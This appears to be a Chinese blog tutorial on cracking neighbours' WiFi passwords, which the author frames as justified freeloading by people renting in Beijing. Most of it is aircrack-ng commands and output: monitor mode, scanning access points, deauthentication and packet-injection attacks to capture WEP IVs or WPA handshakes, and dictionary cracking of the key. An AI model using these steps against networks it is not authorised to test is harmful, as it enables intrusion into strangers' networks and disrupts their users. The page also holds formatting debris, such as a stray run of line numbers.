文章

教你破解无线路由

教你破解无线路由

阳历年前一直住在美立方,刚去美立方的时候,从2月初到3月初,无法上网,于我这个宅人真是憋闷一场。好在后来情况发生变化,美立方是个新小区,3月初的时候小区宽带业务终于开始推行了,10M带宽一年只需1099元,于是我和一起合租的众人就办理了。第一次用10M的网,上网速度真是快,下载东西不亦乐乎。时间飞快,好景不长,阳历年后租房合同到期,我和豆子搬到了对面的大羊坊,终于又要无网可上一段时间了。

想到北京的北漂者很多都像我这样吧,一年总要苦逼的搬一次家,搬一次家就会有段时间断网。没有网络生活就会失去很多乐趣,电视神马的已经落后时代了,我已经有很多年没看过电视了,网络于我几乎是必须品。

说了这么多,其实只想说一句话——对于我们流浪的北漂者没事蹭下网也是被逼无奈之举,被蹭者请原谅我们吧,这只是我们屌丝小小的一次逆袭巴拉巴拉巴拉巴拉…..

好吧,正文开始。

1. 准备工作

a. 准备一个linux系统(推荐ubuntu),需要用它安装我们主要的破解工具:Aircrack-ng;或者直接从网上下载BT5更好,就不需要安装aircrack-ng了。 b. 准备一个字典文件,最好是破解wpa专用的,或者使用本文最后附带的字典文件。

2. 安装Aircrack-ng

首先从Aircrack-ng官网下载源码,并解压缩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
xiaoxie@xiaoxie-laptop:~$ wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
xiaoxie@xiaoxie-laptop:~$ tar -xzvf aircrack-ng-1.1.tar.gz
`</pre>

进入文件目录进行编译安装:

<pre>`xiaoxie@xiaoxie-laptop:~$ cd aircrack-ng-1.1
xiaoxie@xiaoxie-laptop:~/aircrack-ng-1.1$ make
xiaoxie@xiaoxie-laptop:~/aircrack-ng-1.1$ make install
`</pre>

如果没有错误,表示安装成功。

### 3\. 确认网卡兼容性

首先使用lspci查看下系统使用了哪种网卡:

<pre>`xiaoxie@xiaoxie-laptop:~$ lspci
......
04:00.0 Network controller: Broadcom Corporation BCM4313 802.11b/g/n 
Wireless LAN Controller (rev 01)
05:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. 
RTL8101E/RTL8102E PCI Express Fast Ethernet controller (rev 02)
`</pre>

在其列出的信息中即可看到我电脑当前使用的无线网卡类型是BCM4313,然后到这个[地址](http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#which_is_the_best_card_to_buy)看下Aircrack-ng是否兼容它。如果兼容,那么恭喜你,你可以在你自己的Linux系统下使用Aircrack-ng;否则,下载BT5吧。

如果你安装的是Ubuntu,在这里有一个[列表](https://help.ubuntu.com/community/WifiDocs/Driver),内容非常详细,几乎列出了所有常见无线网卡的驱动支持情况和安装方法。还有一个地方是不可错过的,就是著名的[compat-wireless](http://linuxwireless.org/)。

### 4\. 使用Aircrack-ng破解

使用Aircrack-ng破解wifi的一般步骤如下:

#### 4.1 开启无线网卡的监听模式(airmon-ng)

首先需要查看下当前系统无线网卡的名称,打开一个终端,输入如下命令:

<pre>`xiaoxie@xiaoxie-laptop:~$ iwconfig
lo        no wireless extensions.

wlan0      IEEE 802.11abg  ESSID:&quot;xxx&quot;  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 38:xx:45:BE:xx:xx   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

eth0      no wireless extensions.
`</pre>

这条命令会列出所有的无线网卡,比如上面,可用的无线网卡名称就是wlan0。下面开启此网卡的监听模式:

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airmon-ng start wlan0
......
Interface   Chipset     Driver

wlan0       Unknown     brcmsmac - [phy0]
                (monitor mode enabled on mon0)
`</pre>

看到`monitor mode enabled on mon0`类似说明文字,说明开启成功。

#### 4.2 开始监听周围的数据包(airodump-ng)

airodump-ng 命令后可带一些参数,比如指定监听频道,监听指定的AP等,具体使用方法如下:

<pre>`airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w output mon0
`</pre>

-c :后加数字,指定所要监听的频道(范围1-11)

--bssid :后加AP的mac地址,指定所要监听的AP

-w :后加名称,指定监听到的可用数据包写入文件的名称

mon0 :开启了监听模式的网卡名称

首先使用默认命令查看周围的AP

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airodump-ng mon0
`</pre>

![AP列表](http://moodpo.com/usr/uploads/2014/01/1727750536.png)

上图显示了周围可以搜索到的AP(上列表)和终端(下列表)及详细信息。下面是对列表的具体解释:

**上列表**

BSSID:显示的是AP(热点)的mac地址

PWR:表示信号的强度,信号强度是一个负值,值越大信号越强

Beacons:广播速率,数据增长越快说明这个AP越活跃,数据交换量越大 #Data:可用数据,这里指可用于破解的数据包 #/s:每秒接收到可用数据包的个数

CH:AP所使用的频道

MB:AP的带宽,现在一般都是54M的了

ENC:密钥加密方式,一般是WEP/WAP或WAP2两种

CIPHER:密钥管理和数据加密方式,一般有CCMP和TKIP两种

AUTH:授权方式,一般有PSK/OPEN,PSK指预共享方式分发密钥

ESSID:AP的标识名称

**下列表**

STATION:表示客户端的mac

Rate:表示客户端与AP交换数据速率

Lost:客户端丢包个数

Packets:客户端总的广播包个数

Probes:客户端连接的AP点名称

根据以上信息,选择一个信号较好的AP进行破解:

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --ivs -w output mon0
`</pre>

注:--ivs参数表示只将接收到的ivs数据包写入到文件中,如果破解的AP加密方式是WEP最好加上此参数,如果是WAP加密方式的请去掉此参数。

#### 4.3 攻击指定AP(aireplay-ng)

攻击AP可使AP发送更多的可用数据包,对于WEP方式来说是IVs数据包,对于WAP方式来说是握手包(M1-M7)。aireplay-ng命令提供了九种攻击方式,它们应用于不同的场景发挥不同的作用。

<pre>`Attack 0: Deauthentication 
Attack 1: Fake authentication 
Attack 2: Interactive packet replay 
Attack 3: ARP request replay attack 
Attack 4: KoreK chopchop attack 
Attack 5: Fragmentation attack
Attack 6: Cafe-latte attack 
Attack 7: Client-oriented fragmentation attack
Attack 8: WPA Migration Mode
Attack 9: Injection test
`</pre>

之前开启的终端不要关闭,重新打开一个终端。

##### 4.3.1 在WEP场景下

如果你攻击的是使用WEP加密方式的AP,可以进行如下攻击:

进行注入测试

<pre>`aireplay-ng -9 -a 目标MAC地址  mon0
`</pre>

1)断开一个已知已经连接AP的客户端,使其重新发送认证数据包IVs

<pre>`aireplay-ng -1 0 -a 目标MAC地址 -h 客户端MAC mon0
`</pre>

从AP获取包含伪随机码生成算法的数据包,数据包只包含少量的密钥,但可用于组合成各种注入包

<pre>`aireplay-ng -5 -b 目标MAC地址 -h 客户端MAC mon0
`</pre>

2)如果你在airodump-ng命令后没有看到连接到AP的客户端,可使用下面的命令攻击

<pre>`aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC地址 -h 本机MAC地址 mon0
`</pre>

在使用上述命令后,在前一个终端中,接收到的数据包(#Data列)将会迅速增长,增长到大约1万时就可以进行WEP的破解了。

##### 4.3.2 在WAP场景下

如果你攻击的是使用WAP加密方式的AP,可以进行如下攻击:

向AP发送取消认证的数据包,使一个或多个客户端与AP断开,迫使其发送握手包进行重新链接

<pre>`aireplay-ng -0 10 -a 目标MAC地址 -c 客户端MAC地址 MAC mon0
`</pre>

在使用上述命令后,在前一个终端中,#Data列数据将会增长,直到终端中显示如下描述时就可以进行WAP的破解了。

<pre>`WPA handshake: 00:14:6C:7E:40:80
`</pre>
> PS:更多攻击方式的使用示例请看这里吧:http://www.aircrack-ng.org/doku.php?id=aireplay-ng

#### 4.4 破解数据包(aircrack-ng)

打开第三个终端,开始破解:

<pre>`aircrack-ng -w password.lst -b 目标MAC地址 output*.cap

-w 指定使用的字典文件

PS:WEP加密方式再复杂的密码在5分钟内就可以破解出来,而WAP加密方式就要看字典文件、密码复杂度以及运气和人品了。

5. 参考:

1.aireplay-ng的九种攻击方式:http://jim19770812.blogspot.com/2012/05/aircrack-ng.html

2.各种破解教程:http://www.aircrack-ng.org/doku.php?id=tutorial

3.Ubuntu支持无线网卡驱动信息:https://help.ubuntu.com/community/WifiDocs/Driver

本文由作者按照 CC BY 4.0 进行授权